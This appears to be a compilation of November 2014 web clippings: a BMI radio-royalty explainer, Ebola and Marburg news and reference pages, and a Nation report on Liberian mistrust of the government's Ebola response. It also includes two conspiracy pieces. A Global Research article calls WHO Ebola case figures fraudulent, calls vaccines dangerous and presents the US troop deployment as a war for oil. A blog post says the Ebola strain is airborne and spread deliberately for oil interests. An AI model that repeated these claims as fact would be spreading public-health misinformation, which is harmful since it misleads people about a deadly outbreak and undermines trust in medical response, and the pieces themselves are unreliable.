and passed Senate. Oct. 17, H.R. 1506 and S. 227 considered and passed House.
U.S. Radio Royalties | Royalties | BMI.com
Sat, 08 Nov 2014 15:22
U.S. Radio Feature PerformancesBMI considers a radio feature performance of a popular song to be one that lasts 60 seconds or more and is the sole sound broadcast at the time of the performance.
BMI makes separate payment for three categories of radio feature performances, based upon a sampling of stations licensed by BMI.
COMMERCIAL RADIO CLASSICAL RADIO COLLEGE RADIOCommercial RadioBMI uses performance monitoring data, continuously collected on a large percentage of all licensed commercial radio stations, to determine payable performances. This census information is factored to create a statistically reliable and highly accurate representation of feature performances on all commercial music format radio stations throughout the country.
Royalties for performances of works in the BMI repertoire that occur on United States commercial radio stations will be paid according to the following rules:
Royalty payments will be based upon the license fees that BMI collected from each individual station that performed a work. As a result, royalty payment rates will vary from quarter to quarter depending upon the amount of the license fees collected from stations that aired each work during that quarter. In addition, the rates may fluctuate from quarter to quarter depending upon the total dollar amount available for each quarter's commercial radio distribution.
In furtherance of BMI's tradition of serving writers and publishers of all types of music, BMI's long-standing goal '-- to support all affiliates with distribution methodologies that fairly value their creative efforts '-- has not changed. Accordingly, supplemental criteria may be used to establish an increased valuation for certain works performed on U.S. commercial radio stations. A small additional allocation from the amount available for distribution each quarter, which will include funds received by BMI from General Licensing and other income sources, may be used for this purpose. Such allocations will appear in the Hit Song Bonus column of the BMI royalty statement.
Under the BMI radio payment system, each feature work, including those written for films and the theater, can become eligible for up to three distinct royalty payment components each quarter. They are called the CURRENT ACTIVITY PAYMENT, the HIT SONG BONUS and the STANDARDS BONUS.
No payment is currently made for the following types of performances on non-census reporting stations:
Cue, bridge or background musicPartial performances of popular songsStation IDs or public service announcementsPromotional announcementsHowever, BMI may voluntarily introduce payments for these categories at any time, at rates to be determined by BMI.
The Current Activity PaymentAll works in the BMI repertoire that are performed on radio will be eligible for a Current Activity Payment. BMI calculates a unique royalty rate for each work, which is based upon the license fees collected from stations that performed that work in combination with the number of times each work aired on those stations. For example, if one of your works was performed on 200 radio stations during a quarter, its unique rate is calculated based upon the license fees collected by BMI from those 200 stations. If another work in your catalogue was performed on 2,000 stations in the same quarter, that work's rate will be different because it will be based upon the license fees collected from those 2,000 stations. All works that were reported to BMI as having been performed on radio during a quarter, regardless of how many times each of the works was performed, are eligible for the Current Activity Payment. The substantial majority of the amount available for distribution each quarter will be used to make Current Activity Payments.
The Hit Song BonusDue to their overall current popularity, works that are classified as Hit Songs are eligible for additional royalties. Any work that is performed more than 95,000 times during a quarter is eligible for a Hit Song Bonus. BMI will allocate a portion of the amount available for distribution each quarter for commercial radio performances to the Hit Song Bonus, and each eligible work will receive a pro-rata portion of the Hit Song Bonus allocation according to the actual number of its current quarter's performances. As a result, works with higher current quarter performance counts earn larger Hit Song Bonus royalties than those works with lower current quarter performance counts.
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Ebola
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UN releases manual for safe Ebola burials
Sun, 09 Nov 2014 00:33
Published: YesterdayBERLIN (AP) - The World Health Organization has released a 17-page manual detailing how to safely bury people who have died from Ebola.
The U.N. agency said Friday the guidelines are part of an effort to reduce the likelihood of people contracting Ebola from corpses.
WHO Ebola expert Pierre Formenty says at least one in five infections occur during burials.
The guidelines give step-by-step advice to health workers for both Christian and Muslim burials.
WHO cites guidance from a Muslim chaplain that the ritual washing of the body normally required isn't needed when someone dies from Ebola. The manual also recommends that items handled by the patient, particularly any mattress they may have used, be burned.
There have been more than 4,800 deaths since December.
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WHO manual on Ebola burials: http://www.who.int/csr/resources/publications/ebola/safe-burial-protocol/en/
MARBURG??-who ebola instruction manual - Google Search
Sun, 09 Nov 2014 00:34
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WHO | Ebola and Marburg virus disease epidemics ...www.who.int/csr/disease/ebola/manual.../en/World Health Organization
Ebola or Marburg virus disease outbreaks constitute a major public health issue in Sub-Saharan Africa. ... Outbreak response and containment operations;; Post- epidemic evaluation. ... Ebola or Marburg case investigation and recording sheet[PDF]INTERIM VERSION 1.1 Ebola and Marburg virus disease ...www.who.int/.../ebola/PACE_outbreaks_ebol...World Health Organization
Ebola or Marburg case investigation and recording sheet. 81. Laboratory-related ... Training and Resources in Research Ethics Evaluation site. 103. Annex 31.[PDF]Sequence for Putting on/Removing Personal Protective ...www.cdc.gov/.../eb...United States Centers for Disease Control and Preve...
Ebola (Ebola Virus Disease). CDC has issued Guidance on Personal Protective Equipment To Be Used by Healthcare Workers During Management of. Patients ...Ebola Hemorrhagic Fever | CDCwww.cdc.gov/.../eb...United States Centers for Disease Control and Preve...
CDC and Texas Health Department Confirm First Ebola Case Diagnosed in the .... with Widespread Transmission · Training: Healthcare Workers Going to West ...Toolboxes | Ebola Guidelines | medbox.orgwww.medbox.org/ebola-guidelines/listingGuide to Preparedness and Readiness for Potential Outbreak of Ebola Virus ... and Control Standard Operating Procedures (SOP) for Ebola Care Centres ...[PDF]EUA 140005 -- Ebola Zaire (EZ1) Combined Platform ...www.fda.gov/.../Safety/.../UCM408334.p...Food and Drug Administration
Aug 14, 2014 -Ebola Zaire (EZ1) rRT-PCR (TaqMan®) Assay on ABI 7500 Fast Dx, LightCycler, & JBAIDS: INSTRUCTION BOOKLET. Version 2.0. Page 2 of ...Ebola Virus Disease: Occupational Safety and Healthwww.paho.org/.../index.php?...ebola...Pan American Health Organization
Oct 3, 2014 -Ebola Virus Disease (EVD), formerly known as Ebola Haemorrhagic Fever, .... comprehensive instruction and necessary training on occupational safety ... HealthWISE - Work Improvement in Health Services - Action Manual.
Marburg virus - Wikipedia, the free encyclopedia
Sun, 09 Nov 2014 00:36
Marburg virus (//MAR-bÉrgVY-rÉs[1]) is a hemorrhagic fever virus of the Filoviridae family of viruses and a member of the species Marburg marburgvirus, genus Marburgvirus. Marburg virus (MARV) causes Marburg virus disease in humans and nonhuman primates, a form of viral hemorrhagic fever.[2] Marburg virus was first noticed and described during small epidemics in the German cities Marburg and Frankfurt and the Yugoslav capital Belgrade in the 1960s. Workers were accidentally exposed to tissues of infected grivets (Chlorocebus aethiops) at the city's former main industrial plant, the Behringwerke, then part of Hoechst, and today of CSL Behring. During these outbreaks, 31 people became infected and seven of them died. MARV is a Select Agent,[3]WHO Risk Group 4 Pathogen (requiring biosafety level 4-equivalent containment),[4]NIH/National Institute of Allergy and Infectious Diseases Category A Priority Pathogen,[5]Centers for Disease Control and PreventionCategory A Bioterrorism Agent,[6] and is listed as a biological agent for export control by the Australia Group.[7]
Use of term[edit]Marburg virus was first described in 1967.[8] Today, the virus is one of two members of the speciesMarburg marburgvirus, which is included in the genusMarburgvirus, familyFiloviridae, orderMononegavirales. The name Marburg virus is derived from Marburg (the city in Hesse, Germany, where the virus was first discovered) and the taxonomicsuffixvirus.[1]
Note[edit]According to the rules for taxon naming established by the International Committee on Taxonomy of Viruses (ICTV), the name Marburg virus is always to be capitalized, but is never italicized, and may be abbreviated (with MARV being the official abbreviation).
Previous designations[edit]Marburg virus was first introduced under this name in 1967.[8] In 2005, the virus name was changed to Lake Victoria marburgvirus, which unfortunately was the same spelling as its species Lake Victoria marburgvirus.[9][10] However, most scientific articles continued to refer to Marburg virus. Consequently, in 2010, the name Marburg virus was reinstated and the species name changed.[1] A previous abbreviation for the virus was MBGV.
Virus inclusion criteria[edit]A virus that fulfills the criteria for being a member of the species Marburg marburgvirus is a Marburg virus if its genome diverges from that of the prototype Marburg marburgvirus, Marburg virus variant Musoke (MARV/Mus), by
Marburg Hemorrhagic Fever (Marburg HF) | CDC
Sun, 09 Nov 2014 00:36
Marburg hemorrhagic fever (Marburg HF) is a rare but severe hemorrhagic fever which affects both humans and non-human primates. Marburg HF is caused by Marburg virus, a genetically unique zoonotic (or, animal-borne) RNA virus of the filovirus family. The five species of Ebola virus are the only other known members of the filovirus family.
Marburg virus was first recognized in 1967, when outbreaks of hemorrhagic fever occurred simultaneously in laboratories in Marburg and Frankfurt, Germany and in Belgrade, Yugoslavia (now Serbia). Thirty-one people became ill, initially laboratory workers followed by several medical personnel and family members who had cared for them. Seven deaths were reported. The first people infected had been exposed to imported African green monkeys or their tissues while conducting research. One additional case was diagnosed retrospectively.
The reservoir host of Marburg virus is the African fruit bat, Rousettus aegyptiacus. Fruit bats infected with Marburg virus do not to show obvious signs of illness. Primates (including humans) can become infected with Marburg virus, and may develop serious disease with high mortality. Further study is needed to determine if other species may also host the virus.
This Rousettus bat is a sighted, cave-dwelling bat widely distributed across Africa. Given the fruit bat's wide distribution, more areas are potentially at risk for outbreaks of Marburg HF than previously suspected. The virus is not known to be native to other continents, such as North America.
Marburg HF typically appears in sporadic outbreaks throughout Africa; laboratory confirmed cases have been reported in Uganda, Zimbabwe, the Democratic Republic of the Congo, Kenya, Angola, and South Africa. Many of the outbreaks started with male mine workers working in bat-infested mines. The virus is then transmitted within their communities through cultural practices, under-protected family care settings, and under-protected health care staff. It is possible that sporadic, isolated cases occur as well, but go unrecognized.
Cases of Marburg HF have occurred outside Africa, such as during the 1967 outbreak, but are infrequent. In 2008, a Dutch tourist developed Marburg HF after returning to the Netherlands from Uganda, and subsequently died. Also in 2008, an American traveler developed Marburg HF after returning to the US from Uganda and recovered. Both travelers had visited a well-known cave inhabited by fruit bats in a national park. See the History of Outbreaks table for a chronological list of known cases and outbreaks.
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Ebola Scare Hits Tourist Spot on Canary Islands | General News
Sun, 09 Nov 2014 03:00
A group of migrants caused Ebola scare at a tourist spot on Canary Islands that is also known as ''a nudist beach.''
Reports said a fishing boat landed Wednesday on a Maspalomas beach in the Canary Islands, filled with 19undocumented travelers who are reportedly from Sierra Leone and Guinea.
Several countries have enhanced screening for travelers at airports but police were caught off guard by the arrival of the migrants at a beach in Gran Canaria.
Some of the travelers were found to have fever, prompting officials to initiate their own Ebola protocol amid fear that they have Ebola.
Officials asked the travelers whether they had been to one of the West African countries affected by the Ebola outbreak.
Red Cross officials, who are wearing protective masks and gloves, were quick arrived at the scene and separated the migrants from the nudist beachgoers as they began taking their temperatures.
The 19 migrants were isolated on the beach for seven hours as nude tourists looked on. Eventually health officials determined none of them had tested positive for Ebola.
Four of the sickest people in the group were hospitalized for other reasons, and the rest were transported in a truck to begin the deportation process.
San Bartolome Mayor Marco Aurelio Perez said Ebola presents risk because the islands are an established destination. Unfortunately, illegal immigration has become a common sight in the West.
The Canary Islands are a territory of Spain, located 90 miles off the northwest coast of Africa. The islands are the destination of hundreds of migrants every year, who often travel in open fishing boats.
Reports said officials also burned the boat the migrants arrived in.
According to the latest count of the World Health Organization, the deadly Ebola epidemic has infected almost 14,000 people in West Africa since the outbreak began early this year. Of those, 4,960 people have died, most from Sierra Leone, Guinea, and Liberia.
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Obama's ''War on Ebola'' or War for Oil? Sending 3000 Troops to African ''Ebola'' Areas that Happen to Export Oil to China | Global Research
Fri, 07 Nov 2014 06:07
For a Nobel Peace Prize President, Barack Obama seems destined to go down in history books as the President who presided over one of the most aggressive series of wars ever waged by a bellicose Washington Administration. Not even George Bush and Dick Cheney came close.
First, before the ink was even dry on his Nobel Prize certificate, Obama announced the Afghanistan ''surge'', pouring another 30,000 US military into that destroyed part of the world. Then came Obama's war against Libya's Qaddafi, followed rapidly by his war to try to topple Syria's Bashar al Assad. Soon after came Obama's ''war for democracy in Ukraine,'' otherwise better called Obama's attempt to provoke Russia into a new war confrontation with NATO by backing a gaggle of Ukrainian oligarchs, criminals and outright neo-nazis in Kiev. In July of this year, Obama's Administration was pushing the President to launch a second try at bombing Syria back to the Stone Age, allegedly to destroy ISIS, a looney Jihadist Sunni sect that was said to be a joint venture of the CIA and Israeli intelligence.
Now Obama's advisers, no doubt led by the blood-thirsty National Security Adviser, Susan Rice, have come up with a new war. This is the War Against Ebola. On September 16, President Obama solemnly declared the war. He announced, to the surprise of most sane citizens, that he had ordered 3,000 American troops, the so-called ''boots on the ground'' that the Pentagon refuses to agree to in Syria, to wage a war against'....a virus?
In a carefully stage-managed appearance at the US Centers for Disease Control (CDC), Obama read a bone-chilling speech. He called the alleged Ebola outbreaks in west Africa, ''a global threat, and it demands a truly global response. This is an epidemic that is not just a threat to regional security. It's a potential threat to global security, if these countries break down, if their economies break down, if people panic,'' Obama continued, conjuring images that would have made Andromeda Strain novelist Michael Chrichton drool with envy. Obama added, ''That has profound effects on all of us, even if we are not directly contracting the disease. This outbreak is already spiraling out of control.''
With that hair-raising introduction, the President of the world's greatest Superpower announced his response. In his role as Commander-in-Chief of the United States of America announced he has ordered 3,000 US troops to west Africa in what he called, ''the largest international response in the history of the CDC.'' He didn't make clear if their job would be to shoot the virus wherever it reared its ugly head, or to shoot any poor hapless African suspected of having Ebola. Little does it matter that the US military doesn't have anywhere near 3,000 troops with the slightest training in public health.
Before we all panic and line up to receive the millions of doses of untested and reportedly highly dangerous ''Ebola vaccines'' the major drug-makers are preparing to dump on the market, some peculiarities of this Ebola outbreak in Africa are worth noting.
Certified Ebola Deaths?
The World Health Organization, under the Director, Dr Margaret Chan, in a press conference on September 13, sounded the alarm, warning that Ebola in west Africa was surging out of control. ''In the three hardest hit countries, Guinea, Liberia and Sierra Leone, the number of new patients is moving far faster than the capacity to manage them,'' Chan claimed. WHO claims that almost half of 301 health-care workers dealing with alleged Ebola patients have themselves died, and that 2,400 people out of 4,784 cases in Africa have died of Ebola. On August 8, Chan declared the African Ebola situation a ''Public Health Emergency of International Concern,'' whatever that is supposed to mean.
A major problem for Chan and her backers, however, is that her Ebola statistics are very, very dubious. For those whose memory is short, this is the same Dr Margaret Chan at WHO in Geneva who was guilty in 2009 of trying to panic the world into taking unproven vaccines for ''Swine Flu'' influenza, by declaring a Global Pandemic with statistics calling every case of symptoms that of the common cold to be ''Swine Flu,'' whether it was runny nose, coughing, sneezing, sore throat. That changed WHO definition of Swine Flu allowed the statistics of the disease to be declared Pandemic. It was an utter fraud, a criminal fraud Chan carried out, wittingly or unwittingly (she could be simply stupid but evidence suggests otherwise), on behalf of the major US and EU pharmaceutical cartel.
In a recent Washington Post article it was admitted that sixty-nine percent of all the Ebola cases in Liberia registered by WHO have not been laboratory confirmed through blood tests. Liberia is the epicenter of the Ebola alarm in west Africa. More than half of the alleged Ebola deaths, 1,224, and nearly half of all cases, 2,046, have been in Liberia says WHO. And the US FDA diagnostic test used for the lab confirmation of Ebola is so flawed that the FDA has prohibited anyone from claiming they are safe or effective. That means, a significant proportion of the remaining 31 % of the Ebola cases lab confirmed through blood tests could be false cases.
In short, no one knows what 1,224 Liberians in recent weeks have died from. But WHO claims it to be Ebola. Note that the countries affected by the Ebola alarm are among the poorest and most war-torn regions in the world. Wars over blood diamonds and colonial genocidal tribal wars have left a devastated, mal-nourished population in its wake.
WHO's official fact sheet on Ebola, which now they renamed EVD for Ebola Virus Disease, claims, ''The first EVD outbreaks occurred in remote villages in Central Africa, near tropical rainforests, but the most recent outbreak in west Africa has involved major urban as well as rural areas'...'' WHO further notes that, ''It is thought that fruit bats of the Pteropodidae family are natural Ebola virus hosts. Ebola is introduced into the human population through close contact with the blood, secretions, organs or other bodily fluids of infected animals such as chimpanzees, gorillas, fruit bats, monkeys, forest antelope and porcupines found ill or dead or in the rainforest.''
Then the official WHO Ebola Fact Sheet dated September, 2014, states, ''It can be difficult to distinguish EVD from other infectious diseases such as malaria, typhoid fever and meningitis.''
Excuse me, Dr Margaret Chan, can you say that slowly? It can be difficult to distinguish EVD from other infectious diseases such as malaria, typhoid fever and meningitis? And you admit that 69% of the declared cases have never been adequately tested? And you state that the Ebola symptoms include ''sudden onset of fever fatigue, muscle pain, headache and sore throat. This is followed by vomiting, diarrhea, rash, symptoms of impaired kidney and liver function, and in some cases, both internal and external bleeding''?
In short it is all the most vague and unsubstantiated basis that lies behind President Obama's new War on Ebola.
War on Ebola or War for Oil?
One striking aspect of this new concern of the US President for the situation in Liberia and other west African states where alleged surges of Ebola are being claimed is the presence of oil, huge volumes of untapped oil.
The offshore coast of Liberia and east African 'Ebola zones' conveniently map with the presence of vast untapped oil and gas resources shown here
The issue of oil in west Africa, notably in the waters of the Gulf of Guinea have become increasingly strategic both to China who is roaming the world in search of future secure oil import sources, and the United States, whose oil geo-politics was summed up in a quip by then Secretary of State Henry Kissinger in the 1970's: 'If you control the oil, you control entire nations.'
The Obama Administration and Pentagon policy has continued that of George W. Bush who in 2008 created the US military Africa Command or AFRICOM, to battle the rapidly-growing Chinese economic presence in Africa's potential oil-rich countries. West Africa is a rapidly-emerging oil treasure, barely tapped to date. A US Department of Energy study projected that African oil production would rise 91 percent between 2002 and 2025, much from the region of the present Ebola alarm.
Chinese oil companies are all over Africa and increasingly active in west Africa, especially Angola, Sudan and Guinea, the later in the epicenter of Obama's new War on Ebola troop deployment.
If the US President were genuine about his concern to contain a public health emergency, he could look at the example of that US-declared pariah Caribbean nation, Cuba. Reuters reports that the Cuban government, a small financially distressed, economically sanctioned island nation of 11 million people, with a national budget of $50 billion, Gross Domestic Product of 121 billion and per capita GDP of just over $10,000, is dispatching 165 medical personnel to Africa to regions where there are Ebola outbreaks. Washington sends 3,000 combat troops. Something smells very rotten around the entire Ebola scare.
F. William Engdahl is strategic risk consultant and lecturer, he holds a degree in politics from Princeton University and is a best-selling author on oil and geopolitics, exclusively for the online magazine ''New Eastern Outlook''
Is There A Big Oil Angle To The Ebola Outbreak?
Fri, 07 Nov 2014 05:52
Smoking gun oil and gas map? You decide:
Hello, Jeff - Note the date of this article, January 2014. Just about the time that Guinea had Ebola cases spreading but not identified.
Could oil = Ebola? The people in W Africa are certain that the W African strain that appears to have started in early December, or even sooner, they care convinced that Ebola was being spread on purpose.
There sometimes is some basis for rumor.. I have found a map of oil wells, areas of oil exploration as well as off shore proposed and operating oil, gas maps. It is a mighty big coincidence that these maps if overlaid a map of Ebola infection match.
This strain is different and I believe it is airborne, maybe not in the sense of Influenza but in the sense of TB. TB is spread within the droplets that contain the bacteria. A person sneezes or coughs and the droplets that get released into the air are infectious and thus the bacterial disease spreads. I believe that this Ebola strain is spreading in the manner of TB.
Check out the map and YOU decide. i have also posted a January 2014 analysis of some of the oil and gas industry proposed and working sites.
My guess is the oil industry may possibly have other ideas for Dolotown and West Point townships in Liberia and that does not include housing poor people...
You decide.
Patty
http://www.platts.com/news-feature/2014/oil/africa-oil-gas-energy-outlook/west-africa-oil-gas
West Africa Starts Opening Up More Deepwater Oil, Gas Plays
By Jacinta Moran in Cape TownJanuary 02, 2014
CAPE TOWN -- West Africa's upstream future looks better now than ever before as the build-up of international oil company interests proceeded rapidly through 2013 and countries look to open up their deepwater offshore.
Unrivaled opportunities in the form of mergers, bid rounds, farm-ins/outs and deal making coupled with rising proven oil and gas reserves have made it one of the principal target destinations for global oil companies.
The fly in the ointment, though, is the apparent increasing propensity of some governments to alter the fiscal terms after the event, which can act as deterrent to investment.
Prospects and potential for further oil and gas finds remain exceedingly positive in West Africa, though, while the region's "presalt," or subsalt, is also generating considerable interest with 2014 shaping up to be an active year for seismic and exploratory drilling.
Analysis continues below...
Angola will auction 10 blocks in the onshore Lower Congo and onshore Kwanza basin in 2014. They are known to have presalt prospects that are said to be similar to the subsalt layer offshore Brazil where large discoveries have already been made.
If prospects are as favorable as projected, and new deepwater fields such as Total's CLOV project come on stream as scheduled, Angola should be able to increase its oil output to eclipse that of Nigeria.
Angola also has the second largest proven natural gas reserves in sub-Saharan Africa after Nigeria, with 11 Tcf. In a milestone development and after many delays, Angola's first LNG venture came on stream in June 2013.
At a cost of $10 billion, Angola LNG is one of the largest single investments in the country's hydrocarbons sector.
But while the Chevron-led project offers a solution to minimize flaring by gathering associated gas from offshore oil fields, concerns remain over the potential weakening of LNG prices in the coming years, and higher liquefaction costs.
Gabon exploration
Several companies have set their sights on subsalt plays in Gabon, which sits on the west coast of central Africa, and where Total in October reported gas and condensate finds on the Diaba block.
Gabon's ministry of energy in October awarded 13 blocks to 11 companies as part of a long-delayed licensing round, which the former OPEC member country hopes will reverse a decline in output from a peak of 370,000 b/d in the 1990s.
Marathon, Cobalt, Petronas, Perenco, Noble, ExxonMobil, Eni and Ophir were among the winners.
But the government's recent decision to delay publishing its proposed new petroleum law from 2014 to 2015 raises the risks of regulatory uncertainty for investors.
Industry sources say foreign oil companies are likely to face tougher terms such as including equity stakes for the state oil company in new production sharing contracts.
The state-owned Gabon Oil Company is expected to take a 15% equity stake in all new projects while the law is also expected to propose that at least 90% of all jobs in the energy sector should be held by locals including all executive positions.
The energy sector remains crucially important to Gabon's economy-- hydrocarbons account for between 80% and 90% of it total export earnings.
Equatorial Guinea, meanwhile, is also looking to stretch its oil sector. The ministry of mines and energy will invite companies to bid on available blocks in 2014 as it steps up an aggressive exploration program with four blocks to be offered.
The tiny former Spanish colony started pumping oil in the mid-1990s, with oil peaking at around 360,000 b/d in 2008, before dipping to 285,000 b/d in 2013 as some fields started maturing.
Combined with gas, the country's output is around 320,000 b/d of oil equivalent.
Liberia, Ghana, Cote D'Ivoire, Benin
Liberia, still recovering from a civil war, is planning to offer 11 offshore exploration blocks in a new licensing round planned for launch from mid-2014, which will include two ultra-deep concessions for the first time.
The focus of the next round will be on the offshore Harper Basin, which borders the West African country's eastern maritime boundary with Cote d'Ivoire. State-owned NOCAL is still working on a draft new oil and as policy.
Interest has also been piqued in offshore Cote d'Ivoire following discoveries by Total and Tullow Oil. The West African nation is now opening up new exploration acreage in the country's ultra deepwater as it hopes to hit an ambitious 200,000 b/d by 2016 from current levels of 30,000 b/d.
Ghana, though still considered a minnow, expects oil production to more than double to 200,000 b/d by 2020 as output increases from the Jubilee field and other projects come on stream.
Apart from Tullow's main producing asset, the Jubilee field, the company is working on a number of other prospects in Ghana, such as the Tweneboa, Enyenra and Ntomme (TEN) field, all of which could underpin Ghana's oil production levels over the medium term.
A national oil policy has been approved by cabinet and around $20 billion is expected to be invested in the upstream over the next five years.
Benin, a tiny neighbor to the east of oil giant Nigeria, has long been considered a small company play but that may be about to change.
Shell has started drilling block 4, in what it described as a new and untested area in the country.
Lagos-based South Atlantic Petroleum (SAPETRO), is exploring the Seme field in block 1 where it is targeting first oil in 2014.
Seme went on stream in 1992 but it was abandoned in 1998 by a succession of companies including Pan Ocean and Ashland. A significant oil discovery would help solve Benin's energy woes-- the country is largely dependent on imported electricity, mostly from Nigeria, Cote d'Ivoire and Ghana.
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Why Liberians Thought Ebola Was a Government Scam to Attract Western Aid | The Nation
Fri, 07 Nov 2014 05:39
Health workers remove the body of a young man suspected to have died of Ebola. (Reuters/James Giahyue)The Ebola outbreak in West Africa, which has swept through Guinea, Sierra Leone, Liberia and Nigeria, has killed nearly 2,500 people since it was first identified in the region in December 2013. But when the Ebola virus hit the coastal city of Monrovia, Liberia, it sent crisis responders into a new level of panic. Ebola has never before hit as densely populated an area as Monrovia with such force. While Ebola was only first identified in the city in June, the county where the capital is located now accounts for nearly 40 percent of the deaths in the country.
Of all the countries now dealing with Ebola, Liberia is now in the worst condition. The virus first entered the country in March and three months later hit the capital city, spreading quickly and threatening to infect large numbers of people. Sierra Leone and Guinea have managed to keep cases mostly to the rural areas and Nigeria was able to quickly quarantine the small outbreak in Lagos. But in Monrovia, the virus is still uncontrolled. The city has become the "worry of the world," says Andrew Hoskins, Medical Teams International country director. One of the reasons that Liberia is facing a more acute crisis than its neighbors is that high levels of corruption have created widespread distrust in the government'--undermining its efforts to contain the virus.
In Monrovia, as in other parts of the country, denial and community resistance greeted the government's efforts, meaning that early Ebola cases in the city were difficult to identify and follow-up with, Hoskins said. "Distrust in the government was a big part of why [Ebola] exploded," said Liebrecht Lierman, country director of African Development Corps.
When Ebola first appeared in Liberia, many of the people in the country thought it was a scam crafted by the government to attract funds from international donors. This meant that Ministry of Health messages on precautions to avoid transmission fell on deaf years. Coupled with a culture that values close interactions with friends and loved ones and beliefs that medical ailments can sometimes result from "juju," a kind of voodoo magic, residents' mistrust of government has carried Liberia to its current state of crisis.
One morning in July, Satta Watson woke up to see about 150 people standing outside of the window of her home in Monrovia. Seven people had died in her neighbor's family across the street in the previous month, but many community members doubted that Ebola was the cause of the deaths. That morning, the community gathered to prevent representatives of the Ministry of Health, accompanied by local politicians, from taking away another ill neighbor.
Watson, like many other Liberians, initially believed that the government was exaggerating the outbreak for political reasons. "I was hearing people tell me that what was happening wasn't Ebola, that whatever it was had been created in labs as an effort to kill Liberians," she said. "That it was a way the government could get money from the World Health Organization so that it could then put the money in its pockets." Now Watson accepts that Ebola is in the country'--but doesn't trust that the government is handling the response effectively, or even properly identifying when people have Ebola.
Pandora Hodge, a project coordinator for a local student group, said that through doing outreach, her group has learned that "some people don't believe that Ebola virus really exists or is even killing our people." In rural areas, her organization is finding it difficult to convince people to heed prevention messages from the government, such as to avoid playing with monkeys, eating bush meat and eating fruit that could have been contaminated by bats. Families have hid infected Liberians rather than bringing them in for treatment; some women lie and say they recently had an abortion if they are bleeding. Others simply ignore their symptoms until they collapse, said Hodge.
The distrust in the government is deeply rooted in anger at years of corruption and a lack of accountability within the administration of President Ellen Johnson Sirleaf, said Rodney Sieh, editor-in-chief of FrontPage Africa, a Liberian daily newspaper. Sirleaf, who became president in 2006, after the end of Liberia's brutal civil war, won the Nobel Peace Prize in 2011 for her role in the "non-violent struggle for the safety of women and for women's rights to full participation in peace-building work."'¨'¨ But the ghosts of the nation's past soon began to haunt her administration. In 2009, the Truth and Reconciliation Commission of Liberia recommended Sirleaf be forbidden from holding public office for thirty years because she previously backed Charles Taylor, the guerilla leader responsible for many of the atrocities committed during the war. Sirleaf remained in power. Her fellow Nobel laureate, Leymah Gbowee, resigned from her role in the commission and publicly distanced herself from the president in 2012.
The consequences of corruption have ravaged the nation in the past. A report released by the International Crisis Group in 2011 found that 63 percent of Liberians see corruption as the root cause of the two civil wars that broke out between 1989 and 2003. As Liberia struggles to contain the Ebola virus from spreading, years of broken confidence in the system weigh heavily on its efforts.
* * *
A primary source of resentment among Liberians is that the nation's constitution gives Sirleaf the ability to appoint her relatives or close friends to strategic political positions. The president has appointed three of her sons to top government jobs, among other family members and friends. "There is no merit system, where people are appointed on a competitive basis," said Thomas Doe Nah, executive director of Center for Transparency and Accountability in Liberia. Appointments "would be because of patronage; it would be because the president wanted to compensate cronies."'¨
Many Liberians also take exception to the high levels of compensation these appointments receive'--for example, Sirleaf offered former Auditor General John Morlu the post of minister of finance with a salary of $32,000 per month, as well as benefits'--when 64 percent of Liberians live on less than a $1 per day. (Morlu turned down the post.) While Morlu's case offers a look into the salary of a high-level minister in Liberia, in general minister salaries are not public information, said Winsley Nanka, the deputy auditor general for the General Auditing Commission. Government officials also get other perks. A traveling government official receives a daily allowance rate of £520 in London, $449 in New York City, and comparable rates in other cities, which they can pocket if they don't spend it. Many officials spend large chunks of the year traveling, Nanka said. Heading the board of a public corporation is also lucrative for a public official. A minister could make tens of thousands of dollars in compensation per year from heading several boards, said Morlu.
Liberians also resent that officials with close ties to the president act with impunity, say transparency experts. There are few investigations, few firings and too many promises of prosecutions that never actually happen, said Doe Nah. A scandal in the timber sector provides a recent example. Global conservation groups consider Liberia, which holds about 40 percent of West Africa's tropical rainforests, one of the world's hotspot of biodiversity. But in 2012, a group of advocacy organizations revealed that over the course of two years, the Liberian government gave away one-quarter of the nation's land to private companies in a series of illegal logging permits, based on improper, and in some cases falsified, documents. The signature at the bottom of these permits belonged to Florence Chenoweth, the country's minister of agriculture, or her deputy minister, under her instruction.
Despite an independent investigation finding Chenoweth, among others, culpable, she has not been held responsible. A good friend of Sirleaf, she is considered one of the president's "untouchables," according to Hassan Kiawu, a former director of communications for the minister. And Minister of Justice Christiana Tah is Chenoweth's first cousin, according to FrontPage Africa.
The General Auditing Commission, an agency intended to serve as a government watchdog, has produced more than ninety reports implicating current or former government officials in wrongdoing. Some of the audits show bank accounts with millions of dollars unaccounted for and the presence of "ghost employees"'--names on the payroll of individuals who are dead, or who no longer work at the ministries. But the Ministry of Justice has not moved forward with any indictments as a result of these audits, said Nanka.
Discussions of corruption also turn to the government's mismanagement of concessions granted to foreign companies. In recent years, the government invited foreign palm oil companies to Liberia, granting massive concessions of land that were often already in use by communities for subsistence farming. Farmers who have been depending on this land for generations were surprised to find bulldozers clearing their land without their consent, with farms, sacred areas and even graves destroyed. Some of Liberia's palm oil will supply multinational companies such as Unilever and Nestl(C). In December 2013, the international advocacy organization Global Witness accused one of the companies, the UK-based Equatorial Palm Oil, of human rights abuses in Liberia for the assault and arbitrary arrest of citizens who were on a peaceful march to protest the palm oil expansion. (Equatorial Palm Oil denied the allegations of human rights abuses, but admitted to providing logistical support to the Liberian police.)
Food security is also a concern. Liberia, a country rich in fertile land and resources, cannot feed its own people. More than 60 percent of food items consumed in the country are imported, which is higher than neighboring countries, according to the United Nations World Food Programme (WFP). Critics say that the Ministry of Agriculture's budget'--$94.8 million in the previous fiscal year'--has been mismanaged. Restricted travel in-country and the closure of the borders with Guinea and Sierra Leone borders has made food scarcer, said Adama Diop-Faye, WFP country director for Liberia. As citizens engage in "massive panic buying," stocks have been depleted, pushing up the price of food even further, she said.
* * *
Years of mismanagement has left Liberia ill equipped to shepherd the nation through a crisis of the current magnitude. The health system is falling apart. When the outbreak began, Liberia had only about one doctor to treat every 100,000 person, according to the World Health Organization. Health workers, who have, according to the Ministry of Health, accounted for 8 percent of all Ebola cases and 6 percent of all Ebola-related deaths in Liberia, are scared to come in to the clinics. And some health workers have claimed that the government is not sending their paychecks on time, said Aimee Summers, an epidemic intelligence service officer for the United States Centers for Disease Control and Prevention.
As the death toll mounts, residents are more willing to accept that Ebola is in Liberia, say health workers. But even if the government can get over Liberians' mistrust, they still have to overcome perceptions of incompetence. The government has been slow to respond to the national hotline to pick up Ebola patients and dead bodies, say health responders and community members. Dead bodies, which are at their most infectious state, sometimes are left at homes for four days before the burial team arrives, said Hoskin. Some neighborhoods have had to set up roadblocks to draw attention to Ebola victims.
